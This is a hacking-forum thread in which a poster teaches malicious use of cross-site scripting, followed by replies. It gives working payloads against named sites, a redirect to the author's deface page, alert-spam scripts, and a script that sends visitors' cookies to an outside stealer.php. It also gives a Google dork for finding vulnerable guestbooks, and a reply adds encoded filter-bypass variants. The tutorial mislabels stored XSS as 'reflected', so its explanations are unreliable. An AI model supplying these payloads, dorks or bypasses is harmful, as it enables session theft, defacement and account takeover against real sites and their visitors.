[Natalie Portman]

Hello all!

I have seen more than a few threads / posts asking for a tutorial on how to use XSS maliciously, so I thought I would write a tutorial.

First things first.

XSS stands for Cross Site Scripting. It involves injecting code (generally HTML, but also JavaScript) into a webpage, and this code generally having a malicious effect on the target site.

Is the vulnerability reflected or not?
A non-reflected (a.k.a. non-persistent) XSS flaw is frankly, useless. Sure they are cool to find in big websites, but they are not terribly useful, hence, they are everywhere.

An example of reflected XSS is here:
Spoiler (Click to View)Go Here and enter into the search bar:

Code

"><script>alert("XSS")</script>

Note how a Java alert box comes up saying "XSS Here!".
This means that we have entered a script code into an input box somewhere on the site. In this case it was a search bar.
If you enter the following into the search bar at Rollingstone.com, you will find that it gives the alert "1".

Code

';alert("1")//

You can change the 1 in the syntax to whatever you want, and that will hence be alerted also.

However, despite being cool because you can "manipulate the website" you're not actually harming it in any way.

Code

';alert("1")//

Is not the only XSS string, and many websites have prevented against it, despite the fact that they are useless. Many other strings that are more circumstantial can be found here:
Spoiler (Click to View)Here

Now, onto the main event. Reflected (a.k.a. persistent XSS).

Reflected XSS is one of the largest flaws in websites, just behind SQLi and LFI. This involves a scenario where rather than just displaying the XSS syntax for you (Like when you input the syntax into a search bar), the syntax is instead stored on the page, meaning that the syntax output occurs for everyone.

This means that you can exploit the full power of XSS.

Examples of things you can do now include, but are not limited to:
- Stealing the cookies of everyone who visits that site.
- Redirecting the user to a webpage, usually a deface page.
- Spamming alerts everywhere which makes the website unviewable.
- Inputting hyperlinks.

An example of a website with a reflected XSS vulnerability is here.

Because of the amount of spam that this guestbook receives, it will constantly be usable for injection, the page is usually filled after only a couple of minutes, and a new page is created.

Spoiler (Click to View)This webiste!

If you go to this site, you will see that there are many comments, all with hyperlinks. The XSS they have injected is not malicious, but adware. Their code resembles something like this:

Code

Buy Viagra here! <a href=" http://site.com"> Cheap Viagra here now!</a>

This <a> code inputs a hyperlink, but is otherwise harmless.

However, if you input the following string, everyone will get an alert when they view the page saying "Hi! I'm the best!"

Code

<script>alert("Hi! I'm the best!")</script>

You can also use a redirect script to redirect the viewer to your deface page, making the page appear defaced.

Code

<script>window.location = "http://users11.jabry.com/"</script>

That site is my deface page, and that string is what I inject when I find a site such as this.

You could also input something really annoying, like this:
Spoiler (Click to View)

Code

<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>

But far more times, which would make the page unviewable due to the massive number of alerts.

Please do not inject that spam string into the website, as I want the guestbook to be available for testing to everyone :).

You can also steal the cookies of everyone who visits that site, for example:
Spoiler (Click to View)

Code

<script language="Javascript"> document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script>

What this will do is redirect the viewer to a site called host.com, to a page called stealer.php, then log their cookies.

What this means is that someone who injects this string into a forum (Luckily HF has very good XSS security) can obtain the username and password of anyone who views the site. :O.

The following google dork (Just paste it into google) can be used to look for vulnerable guestbooks.

Code

allinurl:guestbook.php

You may also want to use on the end of it:

Code

site:AU

This will only look for sites hosted in Australia, but there are many others. For example:
CA: Canada
UK: United Kingdom

Just do a google search of country site suffixes.

Well guys I hope you have enjoyed my tutorial, and that you put it to good use in the world!

NOTE: Not all sites are vulnerable to XSS, many sites filter their HTML and JavaScript code, so that you cannot do this. Because of this it may take some time to find a vulnerable site, but, if you look hard enough, I assure you that you can easily find some.

Good luck!
- Envyy

I took the time to write this tutorial, please take the time to post a reply!

[Pwned Hero]

fast tutortial but not bad ;) nice bro

[ironangel]

Nice man, thanks you.
really short and easy but nice (:

[Careless.]

A non-reflected (a.k.a. non-persistent) XSS flaw is frankly, useless. Sure they are cool to find in big websites, but they are not terribly useful, hence, they are everywhere.

Wrong.
With a small bit of SE, you can get your target's cookies.
It's very useful if you know what to do with it :)

[PoRt21]

bypass xss filters <ScRipT>AlErT("Hi! I'm the best!")</sCripT>
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%21%20%49%27%6D%20%74%68%65%20%62%65%73%74%21%22%29%3C%2F%73%63%72%69%70%74%3E

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x48;&#x69;&#x21;&#x20;&#x49;&#x27;&#x6D;&#x20;&#x74;&#x68;&#x65;&#x20;&#x62;&#x65;&#x73;&#x74;&#x21;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

[Sugawara]

Not bad.! I Like It.! Explained Properlyy

[dawnofwar]

Nice tutorial, but the sites don't work anymore.

[StA_Wiesbaden]

This is a great Tutorial!
I will start with XSS soon. Thanks!

[lovelykiss87]

Great tutorial thanks great man graeat work..

[Cold_Blooded]

Thanks for this, i hope to start doing this soon as well.

[stretonion]

Nice tutorial!
message t00 short....

[stretonion]

laptop stuck... please delete the last 2 posts...

[Uiqueblhats]

This is a great Tutorial!
I will start with XSS soon. Thanks!
bookmarked

[Joinhacker]

I think I missed something, is it really so easy that I just have to input <script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>

in the search bar of the rolling stone site and then it pops up for anyone visiting?

[Natalie Portman]

I think I missed something, is it really so easy that I just have to input <script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>

in the search bar of the rolling stone site and then it pops up for anyone visiting?

No, it doesn't work like that. It works on the guestbook because the XSS query is stored on the page, however it is not displayed on Rolling Stone, if you know what I mean. The XSS code is shown on the search for page as "You searched for: (XSS query)" or something similar, and if someone searched for the same query, they'd see it too. It would work like you described if there was a "most recent searches" feature or something similar. Basically, the search or input has to be visible to everyone, for it to work like you described, not just as a unique page.

Hope that clears it up, it's kind of hard to explain.

Good luck!
- Vinyl.